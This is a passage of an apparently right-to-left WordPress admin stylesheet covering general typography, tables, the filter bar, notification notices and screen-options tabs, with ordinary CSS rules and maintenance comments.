	font-weight: 600;
	padding: 15px 23px 14px;
	/* Background and color set to prevent false positives in automated accessibility tests. */
	background: #f0f0f1;
	color: #2271b1;
	z-index: 100000;
	line-height: normal;
}

.screen-reader-shortcut:focus {
	top: -25px;
	/* Overrides a:focus in the admin. See ticket #56789. */
	color: #2271b1;
	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
	text-decoration: none;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.hidden,
.js .closed .inside,
.js .hide-if-js,
.no-js .hide-if-no-js,
.js.wp-core-ui .hide-if-js,
.js .wp-core-ui .hide-if-js,
.no-js.wp-core-ui .hide-if-no-js,
.no-js .wp-core-ui .hide-if-no-js {
	display: none;
}

/* @todo: Take a second look. Large chunks of shared color, from the colors.css merge */
.widget-top,
.menu-item-handle,
.widget-inside,
#menu-settings-column .accordion-container,
#menu-management .menu-edit,
.manage-menus,
table.widefat,
.stuffbox,
p.popular-tags,
.widgets-holder-wrap,
.wp-editor-container,
.popular-tags,
.feature-filter,
.comment-ays {
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

table.widefat,
.wp-editor-container,
.stuffbox,
p.popular-tags,
.widgets-holder-wrap,
.popular-tags,
.feature-filter,
.comment-ays {
	background: #fff;
}

/* general */
html,
body {
	height: 100%;
	margin: 0;
	padding: 0;
}

body {
	background: #f0f0f1;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.4em;
	min-width: 600px;
}

body.iframe {
	min-width: 0;
	padding-top: 1px;
}

body.modal-open {
	overflow: hidden;
}

body.mobile.modal-open #wpwrap {
	overflow: hidden;
	position: fixed;
	height: 100%;
}

iframe,
img {
	border: 0;
}

td {
	font-family: inherit;
	font-size: inherit;
	font-weight: inherit;
	line-height: inherit;
}

/* Any change to the default link style must be applied to button-link too. */
a {
	color: #2271b1;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

a,
div {
	outline: 0;
}

a:hover,
a:active {
	color: #135e96;
}

a:focus,
a:focus .media-icon img,
a:focus .plugin-icon,
.wp-person a:focus .gravatar {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#adminmenu a:focus {
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
	outline-offset: -1px;
}

.screen-reader-text:focus {
	box-shadow: none;
	outline: none;
}

blockquote,
q {
	quotes: none;
}

blockquote:before,
blockquote:after,
q:before,
q:after {
	content: "";
	content: none;
}

p,
.wp-die-message {
	font-size: 13px;
	line-height: 1.5;
	margin: 1em 0;
}

blockquote {
	margin: 1em;
}

li,
dd {
	margin-bottom: 6px;
}

h1,
h2,
h3,
h4,
h5,
h6 {
	display: block;
	font-weight: 600;
}

h1 {
	color: #1d2327;
	font-size: 2em;
	margin: .67em 0;
}

h2,
h3 {
	color: #1d2327;
	font-size: 1.3em;
	margin: 1em 0;
}

.update-core-php h2 {
	margin-top: 4em;
}

.update-php h2,
.update-messages h2,
h4 {
	font-size: 1em;
	margin: 1.33em 0;
}

h5 {
	font-size: 0.83em;
	margin: 1.67em 0;
}

h6 {
	font-size: 0.67em;
	margin: 2.33em 0;
}

ul,
ol {
	padding: 0;
}

ul {
	list-style: none;
}

ol {
	list-style-type: decimal;
	margin-right: 2em;
}

ul.ul-disc {
	list-style: disc outside;
}

ul.ul-square {
	list-style: square outside;
}

ol.ol-decimal {
	list-style: decimal outside;
}

ul.ul-disc,
ul.ul-square,
ol.ol-decimal {
	margin-right: 1.8em;
}

ul.ul-disc > li,
ul.ul-square > li,
ol.ol-decimal > li {
	margin: 0 0 0.5em;
}

/* rtl:ignore */
.ltr {
	direction: ltr;
}

/* rtl:ignore */
.code,
code {
	font-family: Consolas, Monaco, monospace;
	direction: ltr;
	unicode-bidi: embed;
}

kbd,
code {
	padding: 3px 5px 2px;
	margin: 0 1px;
	background: #f0f0f1;
	background: rgba(0, 0, 0, 0.07);
	font-size: 13px;
}

.subsubsub {
	list-style: none;
	margin: 8px 0 0;
	padding: 0;
	font-size: 13px;
	float: right;
	color: #646970;
}

.subsubsub a {
	line-height: 2;
	padding: .2em;
	text-decoration: none;
}

.subsubsub a .count,
.subsubsub a.current .count {
	color: #50575e; /* #f1f1f1 background */
	font-weight: 400;
}

.subsubsub a.current {
	font-weight: 600;
	border: none;
}

.subsubsub li {
	display: inline-block;
	margin: 0;
	padding: 0;
	white-space: nowrap;
}

/* .widefat - main style for tables */
.widefat {
	border-spacing: 0;
	width: 100%;
	clear: both;
	margin: 0;
}

.widefat * {
	word-wrap: break-word;
}

.widefat a,
.widefat button.button-link {
	text-decoration: none;
}

.widefat td,
.widefat th {
	padding: 8px 10px;
}

.widefat thead th,
.widefat thead td {
	border-bottom: 1px solid #c3c4c7;
}

.widefat tfoot th,
.widefat tfoot td {
	border-top: 1px solid #c3c4c7;
	border-bottom: none;
}

.widefat .no-items td {
	border-bottom-width: 0;
}

.widefat td {
	vertical-align: top;
}

.widefat td,
.widefat td p,
.widefat td ol,
.widefat td ul {
	font-size: 13px;
	line-height: 1.5em;
}

.widefat th,
.widefat thead td,
.widefat tfoot td {
	text-align: right;
	line-height: 1.3em;
	font-size: 14px;
}

.widefat th input,
.updates-table td input,
.widefat thead td input,
.widefat tfoot td input {
	margin: 0 8px 0 0;
	padding: 0;
	vertical-align: text-top;
}

.widefat .check-column {
	width: 2.2em;
	padding: 6px 0 25px;
	vertical-align: top;
}

.widefat tbody th.check-column {
	padding: 9px 0 22px;
}

.widefat thead td.check-column,
.widefat tbody th.check-column,
.updates-table tbody td.check-column,
.widefat tfoot td.check-column {
	padding: 11px 3px 0 0;
}

.widefat thead td.check-column,
.widefat tfoot td.check-column {
	padding-top: 4px;
	vertical-align: middle;
}

.update-php div.updated,
.update-php div.error {
	margin-right: 0;
}

.js-update-details-toggle .dashicons {
	text-decoration: none;
}

.js-update-details-toggle[aria-expanded="true"] .dashicons::before {
	content: "\f142";
}

.no-js .widefat thead .check-column input,
.no-js .widefat tfoot .check-column input {
	display: none;
}

.widefat .num,
.column-comments,
.column-links,
.column-posts {
	text-align: center;
}

.widefat th#comments {
	vertical-align: middle;
}

.wrap {
	margin: 10px 2px 0 20px;
}

.wrap > h2:first-child, /* Back-compat for pre-4.4 */
.wrap [class$="icon32"] + h2, /* Back-compat for pre-4.4 */
.postbox .inside h2, /* Back-compat for pre-4.4 */
.wrap h1 {
	font-size: 23px;
	font-weight: 400;
	margin: 0;
	padding: 9px 0 4px;
	line-height: 1.3;
}

.wrap h1.wp-heading-inline {
	display: inline-block;
	margin-left: 5px;
}

.wp-header-end {
	visibility: hidden;
	margin: -2px 0 0;
}

.subtitle {
	margin: 0;
	padding-right: 25px;
	color: #50575e;
	font-size: 14px;
	font-weight: 400;
	line-height: 1;
}

.subtitle strong {
	word-break: break-all;
}

.wrap .add-new-h2, /* deprecated */
.wrap .add-new-h2:active, /* deprecated */
.wrap .page-title-action,
.wrap .page-title-action:active {
	display: inline-block;
	position: relative;
	box-sizing: border-box;
	cursor: pointer;
	white-space: nowrap;
	text-decoration: none;
	text-shadow: none;
	top: -3px;
	margin-right: 4px;
	border: 1px solid #2271b1;
	border-radius: 3px;
	background: #f6f7f7;
	font-size: 13px;
	font-weight: 400;
	line-height: 2.15384615;
	color: #2271b1; /* use the standard color used for buttons */
	padding: 0 10px;
	min-height: 30px;
	-webkit-appearance: none;

}

.wrap .wp-heading-inline + .page-title-action {
	margin-right: 0;
}

.wrap .add-new-h2:hover, /* deprecated */
.wrap .page-title-action:hover {
	background: #f0f0f1;
	border-color: #0a4b78;
	color: #0a4b78;
}

/* lower specificity: color needs to be overridden by :hover and :active */
.page-title-action:focus {
	color: #0a4b78;
}

/* Dashicon for language options on General Settings and Profile screens */
.form-table th label[for="locale"] .dashicons,
.form-table th label[for="WPLANG"] .dashicons {
	margin-right: 5px;
}

.wrap .page-title-action:focus {
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wrap h1.long-header {
	padding-left: 0;
}

.wp-dialog {
	background-color: #fff;
}

.widgets-chooser ul,
#widgets-left .widget-in-question .widget-top,
#available-widgets .widget-top:hover,
div#widgets-right .widget-top:hover,
#widgets-left .widget-top:hover {
	border-color: #8c8f94;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
}

.sorthelper {
	background-color: #c5d9ed;
}

.ac_match,
.subsubsub a.current {
	color: #000;
}

.striped > tbody > :nth-child(odd),
ul.striped > :nth-child(odd),
.alternate {
	background-color: #f6f7f7;
}

.bar {
	background-color: #f0f0f1;
	border-left-color: #4f94d4;
}

/* Helper classes for plugins to leverage the active WordPress color scheme */

.highlight {
	background-color: #f0f6fc;
	color: #3c434a;
}

.wp-ui-primary {
	color: #fff;
	background-color: #2c3338;
}
.wp-ui-text-primary {
	color: #2c3338;
}

.wp-ui-highlight {
	color: #fff;
	background-color: #2271b1;
}
.wp-ui-text-highlight {
	color: #2271b1;
}

.wp-ui-notification {
	color: #fff;
	background-color: #d63638;
}
.wp-ui-text-notification {
	color: #d63638;
}

.wp-ui-text-icon {
	color: #8c8f94; /* same as new icons */
}

/* For emoji replacement images */
img.emoji {
	display: inline !important;
	border: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
	box-shadow: none !important;
}

/*------------------------------------------------------------------------------
  1.0 - Text Styles
------------------------------------------------------------------------------*/

.widget .widget-top,
.postbox .hndle,
.stuffbox .hndle,
.control-section .accordion-section-title,
.sidebar-name,
#nav-menu-header,
#nav-menu-footer,
.menu-item-handle,
.checkbox,
.side-info,
#your-profile #rich_editing,
.widefat thead th,
.widefat thead td,
.widefat tfoot th,
.widefat tfoot td {
	line-height: 1.4em;
}

.widget .widget-top,
.menu-item-handle {
	background: #f6f7f7;
	color: #1d2327;
}

.stuffbox .hndle {
	border-bottom: 1px solid #c3c4c7;
}

.quicktags {
	background-color: #c3c4c7;
	color: #000;
	font-size: 12px;
}

.icon32 {
	display: none;
}

/* @todo can we combine these into a class or use an existing dashicon one? */
.welcome-panel .welcome-panel-close:before,
.tagchecklist .ntdelbutton .remove-tag-icon:before,
#bulk-titles .ntdelbutton:before,
.notice-dismiss:before {
	background: none;
	color: #787c82;
	content: "\f153";
	display: block;
	font: normal 16px/20px dashicons;
	speak: never;
	height: 20px;
	text-align: center;
	width: 20px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.welcome-panel .welcome-panel-close:before {
	margin: 0;
}

.tagchecklist .ntdelbutton .remove-tag-icon:before {
	margin-right: 2px;
	border-radius: 50%;
	color: #2271b1;
	/* vertically center the icon cross browsers */
	line-height: 1.28;
}

.tagchecklist .ntdelbutton:focus {
	outline: 0;
}

.tagchecklist .ntdelbutton:hover .remove-tag-icon:before,
.tagchecklist .ntdelbutton:focus .remove-tag-icon:before,
#bulk-titles .ntdelbutton:hover:before,
#bulk-titles .ntdelbutton:focus:before {
	color: #d63638;
}

.tagchecklist .ntdelbutton:focus .remove-tag-icon:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.key-labels label {
	line-height: 24px;
}

strong, b {
	font-weight: 600;
}

.pre {
	/* https://developer.mozilla.org/en-US/docs/CSS/white-space */
	white-space: pre-wrap; /* css-3 */
	word-wrap: break-word; /* IE 5.5 - 7 */
}

.howto {
	color: #646970;
	display: block;
}

p.install-help {
	margin: 8px 0;
	font-style: italic;
}

.no-break {
	white-space: nowrap;
}

hr {
	border: 0;
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #f6f7f7;
}

.row-actions span.delete a,
.row-actions span.trash a,
.row-actions span.spam a,
.plugins a.delete,
#all-plugins-table .plugins a.delete,
#search-plugins-table .plugins a.delete,
.submitbox .submitdelete,
#media-items a.delete,
#media-items a.delete-permanently,
#nav-menu-footer .menu-delete,
#delete-link a.delete,
a#remove-post-thumbnail,
.privacy_requests .remove-personal-data .remove-personal-data-handle {
	color: #b32d2e;
}

abbr.required,
span.required,
.file-error,
.row-actions .delete a:hover,
.row-actions .trash a:hover,
.row-actions .spam a:hover,
.plugins a.delete:hover,
#all-plugins-table .plugins a.delete:hover,
#search-plugins-table .plugins a.delete:hover,
.submitbox .submitdelete:hover,
#media-items a.delete:hover,
#media-items a.delete-permanently:hover,
#nav-menu-footer .menu-delete:hover,
#delete-link a.delete:hover,
a#remove-post-thumbnail:hover,
.privacy_requests .remove-personal-data .remove-personal-data-handle:hover {
	color: #b32d2e;
	border: none;
}

/*------------------------------------------------------------------------------
  3.0 - Actions
------------------------------------------------------------------------------*/

#major-publishing-actions {
	padding: 10px;
	clear: both;
	border-top: 1px solid #dcdcde;
	background: #f6f7f7;
}

#delete-action {
	float: right;
	line-height: 2.30769231; /* 30px */
}

#delete-link {
	line-height: 2.30769231; /* 30px */
	vertical-align: middle;
	text-align: right;
	margin-right: 8px;
}

#delete-link a {
	text-decoration: none;
}

#publishing-action {
	text-align: left;
	float: left;
	line-height: 1.9;
}

#publishing-action .spinner {
	float: none;
	margin-top: 5px;
}

#misc-publishing-actions {
	padding: 6px 0 0;
}

.misc-pub-section {
	padding: 6px 10px 8px;
}

.word-wrap-break-word,
.misc-pub-filename {
	word-wrap: break-word;
}

#minor-publishing-actions {
	padding: 10px 10px 0;
	text-align: left;
}

#save-post {
	float: right;
}

.preview {
	float: left;
}

#sticky-span {
	margin-right: 18px;
}

.approve,
.unapproved .unapprove {
	display: none;
}

.unapproved .approve,
.spam .approve,
.trash .approve {
	display: inline;
}

td.action-links,
th.action-links {
	text-align: left;
}

#misc-publishing-actions .notice {
	margin-right: 10px;
	margin-left: 10px;
}

/* Filter bar */
.wp-filter {
	display: inline-block;
	position: relative;
	box-sizing: border-box;
	margin: 12px 0 25px;
	padding: 0 10px;
	width: 100%;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	border: 1px solid #c3c4c7;
	background: #fff;
	color: #50575e;
	font-size: 13px;
}

.wp-filter a {
	text-decoration: none;
}

.filter-count {
	display: inline-block;
	vertical-align: middle;
	min-width: 4em;
}

.title-count,
.filter-count .count {
	display: inline-block;
	position: relative;
	top: -1px;
	padding: 4px 10px;
	border-radius: 30px;
	background: #646970;
	color: #fff;
	font-size: 14px;
	font-weight: 600;
}

/* not a part of filter bar, but derived from it, so here for now */
.title-count {
	display: inline;
	top: -3px;
	margin-right: 5px;
	margin-left: 20px;
}

.filter-items {
	float: right;
}

.filter-links {
	display: inline-block;
	margin: 0;
}

.filter-links li {
	display: inline-block;
	margin: 0;
}

.filter-links li > a {
	display: inline-block;
	margin: 0 10px;
	padding: 15px 0;
	border-bottom: 4px solid #fff;
	color: #646970;
	cursor: pointer;
}

.filter-links .current {
	box-shadow: none;
	border-bottom: 4px solid #646970;
	color: #1d2327;
}

.filter-links li > a:hover,
.filter-links li > a:focus,
.show-filters .filter-links a.current:hover,
.show-filters .filter-links a.current:focus {
	color: #135e96;
}

.wp-filter .search-form {
	float: left;
	margin: 10px 0;
}

.wp-filter .search-form input[type="search"] {
	width: 280px;
	max-width: 100%;
}

.wp-filter .search-form select {
	margin: 0;
}

/* Use flexbox only on the plugins install page. The `filter-links` and search form children will become flex items. */
.plugin-install-php .wp-filter {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
	align-items: center;
}

.wp-filter .search-form.search-plugins {
	/* This element is a flex item: the inherited float won't have any effect. */
	margin-top: 0;
}

.wp-filter .search-form.search-plugins select,
.wp-filter .search-form.search-plugins .wp-filter-search,
.no-js .wp-filter .search-form.search-plugins .button {
	display: inline-block;
	margin-top: 10px;
	vertical-align: top;
}

.wp-filter .button.drawer-toggle {
	margin: 10px 9px 0;
	padding: 0 6px 0 10px;
	border-color: transparent;
	background-color: transparent;
	color: #646970;
	vertical-align: baseline;
	box-shadow: none;
}

.wp-filter .drawer-toggle:before {
	content: "\f111";
	margin: 0 0 0 5px;
	color: #646970;
	font: normal 16px/1 dashicons;
	vertical-align: text-bottom;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-filter .button.drawer-toggle:hover,
.wp-filter .drawer-toggle:hover:before,
.wp-filter .button.drawer-toggle:focus,
.wp-filter .drawer-toggle:focus:before {
	background-color: transparent;
	color: #135e96;
}

.wp-filter .button.drawer-toggle:hover,
.wp-filter .button.drawer-toggle:focus:active {
	border-color: transparent;
}

.wp-filter .button.drawer-toggle:focus {
	border-color: #4f94d4;
}

.wp-filter .button.drawer-toggle:active {
	background: transparent;
	box-shadow: none;
	transform: none;
}

.wp-filter .drawer-toggle.current:before {
	color: #fff;
}

.filter-drawer,
.wp-filter .favorites-form {
	display: none;
	margin: 0 -20px 0 -10px;
	padding: 20px;
	border-top: 1px solid #f0f0f1;
	background: #f6f7f7;
	overflow: hidden;
}

.show-filters .filter-drawer,
.show-favorites-form .favorites-form {
	display: block;
}

.show-filters .filter-links a.current {
	border-bottom: none;
}

.show-filters .wp-filter .button.drawer-toggle {
	border-radius: 2px;
	background: #646970;
	color: #fff;
}

.show-filters .wp-filter .drawer-toggle:hover,
.show-filters .wp-filter .drawer-toggle:focus {
	background: #2271b1;
}

.show-filters .wp-filter .drawer-toggle:before {
	color: #fff;
}

.filter-group {
	box-sizing: border-box;
	position: relative;
	float: right;
	margin: 0 0 0 1%;
	padding: 20px 10px 10px;
	width: 24%;
	background: #fff;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

.filter-group legend {
	position: absolute;
	top: 10px;
	display: block;
	margin: 0;
	padding: 0;
	font-size: 1em;
	font-weight: 600;
}

.filter-drawer .filter-group-feature {
	margin: 28px 0 0;
	list-style-type: none;
	font-size: 12px;
}

.filter-drawer .filter-group-feature input,
.filter-drawer .filter-group-feature label {
	line-height: 1.4;
}

.filter-drawer .filter-group-feature input {
	position: absolute;
	margin: 0;
}

.filter-group .filter-group-feature label {
	display: block;
	margin: 14px 23px 14px 0;
}

.filter-drawer .buttons {
	clear: both;
	margin-bottom: 20px;
}

.filter-drawer .filter-group + .buttons {
	margin-bottom: 0;
	padding-top: 20px;
}

.filter-drawer .buttons .button span {
	display: inline-block;
	opacity: 0.8;
	font-size: 12px;
	text-indent: 10px;
}

.wp-filter .button.clear-filters {
	display: none;
	margin-right: 10px;
}

.wp-filter .button-link.edit-filters {
	padding: 0 5px;
	line-height: 2.2;
}

.filtered-by {
	display: none;
	margin: 0;
}

.filtered-by > span {
	font-weight: 600;
}

.filtered-by a {
	margin-right: 10px;
}

.filtered-by .tags {
	display: inline;
}

.filtered-by .tag {
	margin: 0 5px;
	padding: 4px 8px;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	background: #fff;
	font-size: 11px;
}

.filters-applied .filter-group,
.filters-applied .filter-drawer .buttons,
.filters-applied .filter-drawer br {
	display: none;
}

.filters-applied .filtered-by {
	display: block;
}

.filters-applied .filter-drawer {
	padding: 20px;
}

.show-filters .favorites-form,
.show-filters .content-filterable,
.show-filters.filters-applied.loading-content .content-filterable,
.loading-content .content-filterable,
.error .content-filterable {
	display: none;
}

.show-filters.filters-applied .content-filterable {
	display: block;
}

.loading-content .spinner {
	display: block;
	margin: 40px auto 0;
	float: none;
}

@media only screen and (max-width: 1120px) {
	.filter-drawer {
		border-bottom: 1px solid #f0f0f1;
	}

	.filter-group {
		margin-bottom: 0;
		margin-top: 5px;
		width: 100%;
	}

	.filter-group li {
		margin: 10px 0;
	}
}

@media only screen and (max-width: 1000px) {
	.filter-items {
		float: none;
	}

	.wp-filter .media-toolbar-primary,
	.wp-filter .media-toolbar-secondary,
	.wp-filter .search-form {
		float: none; /* Remove float from media-views.css */
		position: relative;
		max-width: 100%;
	}
}

@media only screen and (max-width: 782px) {
	.filter-group li {
		padding: 0;
		width: 50%;
	}
}

@media only screen and (max-width: 320px) {
	.filter-count {
		display: none;
	}

	.wp-filter .drawer-toggle {
		margin: 10px 0;
	}

	.filter-group li,
	.wp-filter .search-form input[type="search"] {
		width: 100%;
	}
}

/*------------------------------------------------------------------------------
  4.0 - Notifications
------------------------------------------------------------------------------*/

.notice,
div.updated,
div.error {
	background: #fff;
	border: 1px solid #c3c4c7;
	border-right-width: 4px;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	margin: 5px 15px 2px;
	padding: 1px 12px;
}

div[class="update-message"] { /* back-compat for pre-4.6 */
	padding: 0.5em 0 0.5em 12px;
}

.notice p,
.notice-title,
div.updated p,
div.error p,
.form-table td .notice p {
	margin: 0.5em 0;
	padding: 2px;
}

.error a {
	text-decoration: underline;
}

.updated a {
	padding-bottom: 2px;
}

.notice-alt {
	box-shadow: none;
}

.notice-large {
	padding: 10px 20px;
}

.notice-title {
	display: inline-block;
	color: #1d2327;
	font-size: 18px;
}

.wp-core-ui .notice.is-dismissible {
	padding-left: 38px;
	position: relative;
}

.notice-dismiss {
	position: absolute;
	top: 0;
	left: 1px;
	border: none;
	margin: 0;
	padding: 9px;
	background: none;
	color: #787c82;
	cursor: pointer;
}

.notice-dismiss:hover:before,
.notice-dismiss:active:before,
.notice-dismiss:focus:before {
	color: #d63638;
}

.notice-dismiss:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.notice-success,
div.updated {
	border-right-color: #00a32a;
}

.notice-success.notice-alt {
	background-color: #edfaef;
}

.notice-warning {
	border-right-color: #dba617;
}

.notice-warning.notice-alt {
	background-color: #fcf9e8;
}

.notice-error,
div.error {
	border-right-color: #d63638;
}

.notice-error.notice-alt {
	background-color: #fcf0f1;
}

.notice-info {
	border-right-color: #72aee6;
}

.notice-info.notice-alt {
	background-color: #f0f6fc;
}

#plugin-information-footer .update-now:not(.button-disabled):before {
	color: #d63638;
	content: "\f463";
	display: inline-block;
	font: normal 20px/1 dashicons;
	margin: -3px -2px 0 5px;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: middle;
}

#plugin-information-footer .notice {
    margin-top: -5px;
}

.update-message p:before,
.updating-message p:before,
.updated-message p:before,
.import-php .updating-message:before,
.button.updating-message:before,
.button.updated-message:before,
.button.installed:before,
.button.installing:before,
.button.activating-message:before,
.button.activated-message:before {
	display: inline-block;
	font: normal 20px/1 'dashicons';
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: top;
}

.wrap .notice,
.wrap div.updated,
.wrap div.error,
.media-upload-form .notice,
.media-upload-form div.error {
	margin: 5px 0 15px;
}

.wrap #templateside .notice {
	display: block;
	margin: 0;
	padding: 5px 8px;
	font-weight: 600;
	text-decoration: none;
}

.wrap #templateside span.notice {
	margin-right: -12px;
}

#templateside li.notice a {
	padding: 0;
}

/* Update icon. */
.update-message p:before,
.updating-message p:before,
.import-php .updating-message:before,
.button.updating-message:before,
.button.installing:before,
.button.activating-message:before {
	color: #d63638;
	content: "\f463";
}

/* Spins the update icon. */
.updating-message p:before,
.import-php .updating-message:before,
.button.updating-message:before,
.button.installing:before,
.button.activating-message:before,
.plugins .column-auto-updates .dashicons-update.spin,
.theme-overlay .theme-autoupdate .dashicons-update.spin {
	animation: rotation 2s infinite linear;
}

@media (prefers-reduced-motion: reduce) {
	.updating-message p:before,
	.import-php .updating-message:before,
	.button.updating-message:before,
	.button.installing:before,
	.button.activating-message:before,
	.plugins .column-auto-updates .dashicons-update.spin,
	.theme-overlay .theme-autoupdate .dashicons-update.spin {
		animation: none;
	}
}

.theme-overlay .theme-autoupdate .dashicons-update.spin {
	margin-left: 3px;
}

/* Updated icon (check mark). */
.updated-message p:before,
.installed p:before,
.button.updated-message:before,
.button.activated-message:before {
	color: #68de7c;
	content: "\f147";
}

/* Error icon. */
.update-message.notice-error p:before {
	color: #d63638;
	content: "\f534";
}

.wrap .notice p:before,
.import-php .updating-message:before {
	margin-left: 6px;
}

.import-php .updating-message:before {
	vertical-align: bottom;
}

#update-nag,
.update-nag {
	display: inline-block;
	line-height: 1.4;
	padding: 11px 15px;
	font-size: 14px;
	margin: 25px 2px 0 20px;
}

ul#dismissed-updates {
	display: none;
}

#dismissed-updates li > p {
	margin-top: 0;
}

#dismiss,
#undismiss {
	margin-right: 0.5em;
}

form.upgrade {
	margin-top: 8px;
}

form.upgrade .hint {
	font-style: italic;
	font-size: 85%;
	margin: -0.5em 0 2em;
}

.update-php .spinner {
	float: none;
	margin: -4px 0;
}

h2.wp-current-version {
	margin-bottom: .3em;
}

p.update-last-checked {
	margin-top: 0;
}

p.auto-update-status {
	margin-top: 2em;
	line-height: 1.8;
}

#ajax-loading,
.ajax-loading,
.ajax-feedback,
.imgedit-wait-spin,
.list-ajax-loading { /* deprecated */
	visibility: hidden;
}

#ajax-response.alignleft {
	margin-right: 2em;
}

.button.updating-message:before,
.button.updated-message:before,
.button.installed:before,
.button.installing:before,
.button.activated-message:before,
.button.activating-message:before {
	margin: 3px -2px 0 5px;
}

#plugin-information-footer .button {
	padding: 0 14px;
	line-height: 2.71428571; /* 38px */
	font-size: 14px;
	vertical-align: middle;
	min-height: 40px;
	margin-bottom: 4px;
}

#plugin-information-footer .button.installed:before,
#plugin-information-footer .button.installing:before,
#plugin-information-footer .button.updating-message:before,
#plugin-information-footer .button.updated-message:before,
#plugin-information-footer .button.activated-message:before,
#plugin-information-footer .button.activating-message:before {
	margin: 9px -2px 0 5px;
}

#plugin-information-footer .button.update-now.updating-message:before {
	margin: -3px -2px 0 5px;
}

.button-primary.updating-message:before,
.button-primary.activating-message:before {
	color: #fff;
}

.button-primary.updated-message:before,
.button-primary.activated-message:before {
	color: #9ec2e6;
}

.button.updated-message,
.button.activated-message {
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

@media aural {
	.wrap .notice p:before,
	.button.installing:before,
	.button.installed:before,
	.update-message p:before {
		speak: never;
	}
}


/* @todo: this does not need its own section anymore */
/*------------------------------------------------------------------------------
  6.0 - Admin Header
------------------------------------------------------------------------------*/
#adminmenu a,
#taglist a,
#catlist a {
	text-decoration: none;
}

/*------------------------------------------------------------------------------
  6.1 - Screen Options Tabs
------------------------------------------------------------------------------*/

#screen-options-wrap,
#contextual-help-wrap {
	margin: 0;
	padding: 8px 20px 12px;
	position: relative;
}

#contextual-help-wrap {
	overflow: auto;
	margin-right: 0;
}

#screen-meta-links {
	float: left;
	margin: 0 0 0 20px;
}

/* screen options and help tabs revert */
#screen-meta {
	display: none;
	margin: 0 0 -1px 20px;
	position: relative;
	background-color: #fff;
	border: 1px solid #c3c4c7;
	border-top: none;
	box-shadow: 0 0 0 transparent;
}

#screen-options-link-wrap,
#contextual-help-link-wrap {
	float: right;
	margin: 0 6px 0 0;
}

#screen-meta-links .screen-meta-toggle {
	position: relative;
	top: 0;
}

#screen-meta-links .show-settings {
	border: 1px solid #c3c4c7;
	border-top: none;
	height: auto;
	margin-bottom: 0;
	padding: 3px 16px 3px 6px;
	background: #fff;
	border-radius: 0 0 4px 4px;
	color: #646970;
	line-height: 1.7;
	box-shadow: 0 0 0 transparent;
	transition: box-shadow 0.1s linear;
}

#screen-meta-links .show-settings:hover,
#screen-meta-links .show-settings:active,
#screen-meta-links .show-settings:focus {
	color: #2c3338;
}

#screen-meta-links .show-settings:focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#screen-meta-links .show-settings:active {
	transform: none;
}

#screen-meta-links .show-settings:after {
	left: 0;
	content: "\f140";
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0 0 0 5px;
	bottom: 2px;
	position: relative;
	vertical-align: bottom;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none;
}

#screen-meta-links .screen-meta-active:after {
	content: "\f142";
}

/* end screen options and help tabs */

.toggle-arrow {
	background-repeat: no-repeat;
	background-position: top right;
	background-color: transparent;
	height: 22px;
	line-height: 22px;
	display: block;
}

.toggle-arrow-active {
	background-position: bottom right;
}

#screen-options-wrap h5, /* Back-compat for old plugins */
#screen-options-wrap legend,
#contextual-help-wrap h5 {
	margin: 0;
	padding: 8px 0;
	font-size: 13px;
	font-weight: 600;
}

.metabox-prefs label {
	display: inline-block;
	padding-left: 15px;
	line-height: 2.35;
}

#number-of-columns {
	display: inline-block;
	vertical-align: middle;
	line-height: 30px;
}

.metabox-prefs input[type=checkbox] {
	margin-top: 0;
	margin-left: 6px;
}

.metabox-prefs label input,
.metabox-prefs label input[type=checkbox] {
	margin: -4px 0 0 5px;
}

.metabox-prefs .columns-prefs label input {
	margin: -1px 0 0 2px;
}

.metabox-prefs label a {
	display: none;
}

.metabox-prefs .screen-options input,
.metabox-prefs .screen-options label {
	margin-top: 0;
	margin-bottom: 0;
	vertical-align: middle;
}

.metabox-prefs .screen-options .screen-per-page {
	margin-left: 15px;
	padding-left: 0;
}

.metabox-prefs .screen-options label {
	line-height: 2.2;
	padding-left: 0;
}

.screen-options + .screen-options {
	margin-top: 10px;
}

.metabox-prefs .submit {
	margin-top: 1em;
	padding: 0;
}

/*------------------------------------------------------------------------------
  6.2 - Help Menu
------------------------------------------------------------------------------*/

